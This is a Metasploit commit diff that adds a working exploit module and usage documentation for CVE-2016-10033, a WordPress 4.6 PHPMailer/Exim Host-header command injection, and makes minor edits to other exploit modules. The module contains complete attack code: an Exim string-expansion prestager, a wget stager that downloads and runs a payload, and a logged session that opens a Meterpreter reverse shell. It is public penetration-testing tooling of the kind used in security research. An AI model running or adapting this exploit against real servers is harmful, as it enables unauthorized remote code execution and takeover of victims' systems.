Land #8345, WordPress PHPMailer Exim injection

CVE-2016-10033
This commit is contained in:
James Lee 2017-05-16 15:07:21 -05:00
commit e3f4cc0dfd
No known key found for this signature in database
GPG Key ID: 2D6094C7CEA0A321
7 changed files with 304 additions and 67 deletions

View File

@ -0,0 +1,60 @@
## Intro
This vuln has some caveats: you need approximately WordPress 4.6 with
Exim for the `sendmail(8)` command. You do not need to install
PHPMailer, as it is included as part of the WordPress install.
Thanks to WP's awesome practice of backporting the heck out of all their
patches, we need to use a Git clone and check out the vuln release.
## Setup
This was tested on Ubuntu 15.04. YMMV.
1. got root?
2. `cd /var/www/html`
3. `git clone https://github.com/WordPress/WordPress wordpress-4.6`
4. `chown -R www-data:www-data wordpress-4.6`
5. `cd wordpress-4.6`
6. `git checkout 4.6`
7. Set up a MySQL database for WordPress
8. Install as normal
## Options
**VERBOSE**
If you'd like to see what requests are being sent, set this to `true`.
You should see the Exim prestager commands being sent to the target.
## Usage
```
msf > use exploit/unix/webapp/wp_phpmailer_host_header
msf exploit(wp_phpmailer_host_header) > set rhost 192.168.33.135
rhost => 192.168.33.135
msf exploit(wp_phpmailer_host_header) > set targeturi /wordpress-4.6
targeturi => /wordpress-4.6
msf exploit(wp_phpmailer_host_header) > set lhost 192.168.33.1
lhost => 192.168.33.1
msf exploit(wp_phpmailer_host_header) > set verbose true
verbose => true
msf exploit(wp_phpmailer_host_header) > run
[*] Started HTTPS reverse handler on https://192.168.33.1:8443
[*] WordPress 4.6 installed at http://192.168.33.135/wordpress-4.6
[*] Generating wget command stager
[*] Using URL: http://0.0.0.0:8080/mbpvuuck
[*] Local IP: http://[redacted]:8080/mbpvuuck
[*] Generating and sending Exim prestager
[*] Sending /bin/sh -c ${run{/bin/echo}{${extract{-1}{$value}{${readsocket{inet:192.168.33.1:8080}{get /mbpvuuck http/1.0$value$value}}}}}}
[+] Sending wget${IFS}-qO${IFS}/tmp/vfotastd${IFS}http://192.168.33.1:8080/mbpvuuck;chmod${IFS}+x${IFS}/tmp/vfotastd;/tmp/vfotastd;rm${IFS}-f${IFS}/tmp/vfotastd
[+] Sending payload linux/x64/meterpreter_reverse_https
[*] https://192.168.33.1:8443 handling request from 192.168.33.135; (UUID: xyx88vod) Redirecting stageless connection from /nBwfbdUYNjU2TjBMb1VkagG08CfJO-jZYpOxBsWHQMGHh7p5ISjCG3Ze with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[*] https://192.168.33.1:8443 handling request from 192.168.33.135; (UUID: xyx88vod) Attaching orphaned/stageless session...
[*] Meterpreter session 1 opened (192.168.33.1:8443 -> 192.168.33.135:36075) at 2017-05-16 14:25:28 -0500
[*] Sending /bin/rm -f /tmp/vfotastd
[*] Server stopped.
meterpreter >
```

View File

@ -171,17 +171,21 @@ class ClientRequest
req << set_uri_append()
req << set_uri_version_spacer()
req << set_version
req << set_host_header
# Set a default Host header if one wasn't passed in
unless opts['headers'] && opts['headers'].keys.map { |x| x.downcase }.include?('host')
req << set_host_header
end
# If an explicit User-Agent header is set, then use that instead of
# the default
unless opts['headers'] and opts['headers'].keys.map{|x| x.downcase }.include?('user-agent')
unless opts['headers'] && opts['headers'].keys.map { |x| x.downcase }.include?('user-agent')
req << set_agent_header
end
# Similar to user-agent, only add an automatic auth header if a
# manual one hasn't been provided
unless opts['headers'] and opts['headers'].keys.map{|x| x.downcase }.include?('authorization')
unless opts['headers'] && opts['headers'].keys.map { |x| x.downcase }.include?('authorization')
req << set_auth_header
end

View File

@ -70,7 +70,7 @@ class Request < Packet
# Updates the command parts for this specific packet type.
#
def update_cmd_parts(str)
if (md = str.match(/^(.+?)\s+(.+?)\s+HTTP\/(.+?)\r?\n?$/))
if (md = str.match(/^(.+?)\s+(.+?)\s+HTTP\/(.+?)\r?\n?$/i))
self.method = md[1]
self.raw_uri = URI.decode(md[2])
self.proto = md[3]

View File

@ -11,38 +11,28 @@ class MetasploitModule < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'Nagios XI Chained Remote Code Execution',
'Description' => %q{
'Name' => 'Nagios XI Chained Remote Code Execution',
'Description' => %q{
This module exploits an SQL injection, auth bypass, file upload,
command injection, and privilege escalation in Nagios XI <= 5.2.7
to pop a root shell.
},
'Author' => [
'Author' => [
'Francesco Oddo', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
'References' => [
['EDB', '39899']
],
'DisclosureDate' => 'Mar 6 2016',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic bash-tcp php perl python openssl gawk'
}
},
'Targets' => [
'DisclosureDate' => 'Mar 6 2016',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Targets' => [
['Nagios XI <= 5.2.7', version: Gem::Version.new('5.2.7')]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash',
'LHOST' => Rex::Socket.source_address
}
'DefaultTarget' => 0
))
register_options([

View File

@ -11,8 +11,8 @@ class MetasploitModule < Msf::Exploit
def initialize(info = {})
super(update_info(info,
'Name' => 'ImageMagick Delegate Arbitrary Command Execution',
'Description' => %q{
'Name' => 'ImageMagick Delegate Arbitrary Command Execution',
'Description' => %q{
This module exploits a shell command injection in the way "delegates"
(commands for converting files) are processed in ImageMagick versions
<= 7.0.1-0 and <= 6.9.3-9 (legacy).
@ -28,13 +28,13 @@ class MetasploitModule < Msf::Exploit
If USE_POPEN is set to true, a |-prefixed command will be used for the
exploit. No delegates are involved in this exploitation.
},
'Author' => [
'Author' => [
'stewie', # Vulnerability discovery
'Nikolay Ermishkin', # Vulnerability discovery
'wvu', # Metasploit module
'hdm' # Metasploit module
],
'References' => [
'References' => [
%w{CVE 2016-3714},
%w{CVE 2016-7976},
%w{URL https://imagetragick.com/},
@ -44,30 +44,20 @@ class MetasploitModule < Msf::Exploit
%w{URL https://github.com/ImageMagick/ImageMagick/commit/a347456},
%w{URL http://permalink.gmane.org/gmane.comp.security.oss.general/19669}
],
'DisclosureDate' => 'May 3 2016',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' => {
'BadChars' => "\x22\x27\x5c", # ", ', and \
'Compat' => {
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic netcat bash-tcp'
}
'DisclosureDate' => 'May 3 2016',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' => {
'BadChars' => "\x22\x27\x5c" # ", ', and \
},
'Targets' => [
'Targets' => [
['SVG file', template: 'msf.svg'], # convert msf.png msf.svg
['MVG file', template: 'msf.mvg'], # convert msf.svg msf.mvg
['PS file', template: 'msf.ps'] # PoC from taviso
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat',
'LHOST' => Rex::Socket.source_address,
'DisablePayloadHandler' => false,
'WfsDelay' => 9001
}
'DefaultTarget' => 0
))
register_options([
@ -99,7 +89,7 @@ class MetasploitModule < Msf::Exploit
target[:template]
))
rescue Errno::ENOENT
fail_with(Failure::BadConfig, "Target has no #{t} support")
fail_with(Failure::NoTarget, "Target has no #{t} support")
end
end

View File

@ -9,37 +9,33 @@ class MetasploitModule < Msf::Exploit::Local
def initialize(info = {})
super(update_info(info,
'Name' => 'Exim "perl_startup" Privilege Escalation',
'Description' => %q{
'Name' => 'Exim "perl_startup" Privilege Escalation',
'Description' => %q{
This module exploits a Perl injection vulnerability in Exim < 4.86.2
given the presence of the "perl_startup" configuration parameter.
},
'Author' => [
'Author' => [
'Dawid Golunski', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
'References' => [
%w{CVE 2016-1531},
%w{EDB 39549},
%w{URL http://www.exim.org/static/doc/CVE-2016-1531.txt}
],
'DisclosureDate' => 'Mar 10 2016',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'SessionTypes' => %w{shell meterpreter},
'Privileged' => true,
'Payload' => {
'BadChars' => "\x22\x27", # " and '
'Compat' => {
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic netcat netcat-e bash-tcp telnet'
}
'DisclosureDate' => 'Mar 10 2016',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'SessionTypes' => %w{shell meterpreter},
'Privileged' => true,
'Payload' => {
'BadChars' => "\x22\x27" # " and '
},
'Targets' => [
'Targets' => [
['Exim < 4.86.2', {}]
],
'DefaultTarget' => 0
'DefaultTarget' => 0
))
end

View File

@ -0,0 +1,197 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress PHPMailer Host Header Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in WordPress
version 4.6 with Exim as an MTA via a spoofed Host header to PHPMailer,
a mail-sending library that is bundled with WordPress.
A valid WordPress username is required to exploit the vulnerability.
Additionally, due to the altered Host header, exploitation is limited to
the default virtual host, assuming the header isn't mangled in transit.
If the target is running Apache 2.2.32 or 2.4.24 and later, the server
may have HttpProtocolOptions set to Strict, preventing a Host header
containing parens from passing through, making exploitation unlikely.
},
'Author' => [
'Dawid Golunski', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
['CVE', '2016-10033'],
['URL', 'https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html'],
['URL', 'http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html'],
['URL', 'https://httpd.apache.org/docs/2.4/mod/core.html#httpprotocoloptions']
],
'DisclosureDate' => 'May 3 2017',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
['WordPress 4.6 / Exim', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter_reverse_https',
'CMDSTAGER::FLAVOR' => 'wget'
},
'CmdStagerFlavor' => ['wget', 'curl']
))
register_options([
OptString.new('USERNAME', [true, 'WordPress username', 'admin'])
])
register_advanced_options([
OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
])
deregister_options('VHOST', 'URIPATH')
end
def check
if (version = wordpress_version)
version = Gem::Version.new(version)
else
return CheckCode::Safe
end
vprint_status("WordPress #{version} installed at #{full_uri}")
if version <= Gem::Version.new('4.6')
CheckCode::Appears
else
CheckCode::Detected
end
end
def exploit
if check == CheckCode::Safe
print_error("Is WordPress installed at #{full_uri} ?")
return
end
# Since everything goes through strtolower(), we need lowercase
print_status("Generating #{cmdstager_flavor} command stager")
@cmdstager = generate_cmdstager(
'Path' => "/#{Rex::Text.rand_text_alpha_lower(8)}",
:temp => datastore['WritableDir'],
:file => File.basename(cmdstager_path),
:nospace => true
).join(';')
print_status("Generating and sending Exim prestager")
generate_prestager.each do |command|
vprint_status("Sending #{command}")
send_request_payload(command)
end
end
#
# Exploit methods
#
# Absolute paths are required for prestager commands due to execve(2)
def generate_prestager
prestager = []
# This is basically sh -c `wget` implemented using Exim string expansions
# Badchars we can't encode away: \ for \n (newline) and : outside strings
prestager << '/bin/sh -c ${run{/bin/echo}{${extract{-1}{$value}' \
"{${readsocket{inet:#{srvhost_addr}:#{srvport}}" \
"{get #{get_resource} http/1.0$value$value}}}}}}"
# CmdStager should rm the file, but it blocks on the payload, so we do it
prestager << "/bin/rm -f #{cmdstager_path}"
end
def send_request_payload(command)
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_login,
'headers' => {
'Host' => generate_exim_payload(command)
},
'vars_get' => {
'action' => 'lostpassword'
},
'vars_post' => {
'user_login' => datastore['USERNAME'],
'redirect_to' => '',
'wp-submit' => 'Get New Password'
}
)
if res && !res.redirect?
if res.code == 200
fail_with(Failure::NoAccess, 'WordPress username may be incorrect')
elsif res.code == 400 && res.headers['Server'] =~ /^Apache/
fail_with(Failure::NotVulnerable, 'HttpProtocolOptions may be Strict')
else
fail_with(Failure::UnexpectedReply, "Server returned code #{res.code}")
end
end
res
end
def generate_exim_payload(command)
exim_payload = Rex::Text.rand_text_alpha(8)
exim_payload << "(#{Rex::Text.rand_text_alpha(8)} "
exim_payload << "-be ${run{#{encode_exim_payload(command)}}}"
exim_payload << " #{Rex::Text.rand_text_alpha(8)})"
end
# We can encode away the following badchars using string expansions
def encode_exim_payload(command)
command.gsub(/[\/ :]/,
'/' => '${substr{0}{1}{$spool_directory}}',
' ' => '${substr{10}{1}{$tod_log}}',
':' => '${substr{13}{1}{$tod_log}}'
)
end
#
# Utility methods
#
def cmdstager_flavor
datastore['CMDSTAGER::FLAVOR']
end
def cmdstager_path
@cmdstager_path ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"
end
#
# Override methods
#
# Return CmdStager on first request, payload on second
def on_request_uri(cli, request)
if @cmdstager
print_good("Sending #{@cmdstager}")
send_response(cli, @cmdstager)
@cmdstager = nil
else
print_good("Sending payload #{datastore['PAYLOAD']}")
super
end
end
end